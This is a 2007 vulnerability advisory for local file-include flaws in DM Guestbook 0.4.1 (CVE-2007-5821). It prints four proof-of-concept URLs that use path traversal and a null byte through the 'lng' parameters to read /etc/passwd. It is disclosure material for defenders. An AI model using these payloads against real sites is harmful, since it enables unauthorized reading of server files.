DM Guestbook Multiple Local File Include Vulnerabilities

Bugtraq ID:	26300
Class:	Input Validation Error
CVE:	CVE-2007-5821
Remote:	Yes
Local:	No
Published:	Nov 02 2007 12:00AM
Updated:	Nov 15 2007 12:37AM
Credit:	GoLd_M is credited with the discovery of these vulnerabilities.
Vulnerable:	DM Guestbook 0.4.1
Not Vulnerable:

DM Guestbook Multiple Local File Include Vulnerabilities

DM Guestbook is prone to multiple local file-include vulnerabilities because it fails to properly sanitize user-supplied input.

Exploiting these issues may allow an unauthorized user to view files and execute local scripts.

DM Guestbook 0.4.1 is vulnerable; other versions may also be affected.

DM Guestbook Multiple Local File Include Vulnerabilities

Attackers may exploit these issues through a browser.

The following proof-of-concept URIs are available:

http://www.example.com/guestbook.php?lng=../../../../../../../etc/passwd%00
http://www.example.com/admin/admin.guestbook.php?lng=../../../../../../../etc/passwd%00
http://www.example.com/auto/glob_new.php?lng=../../../../../../../etc/passwd%00
http://www.example.com/auto/ch_lng.php?lngdefault=../../../../../../../etc/passwd%00

DM Guestbook Multiple Local File Include Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches for these issues. If you feel we are in error or if you are aware of more recent information, please mail us at: mailto:[email protected].

DM Guestbook Multiple Local File Include Vulnerabilities

References:

• DM Guestbook Homepage (DM Guestbook)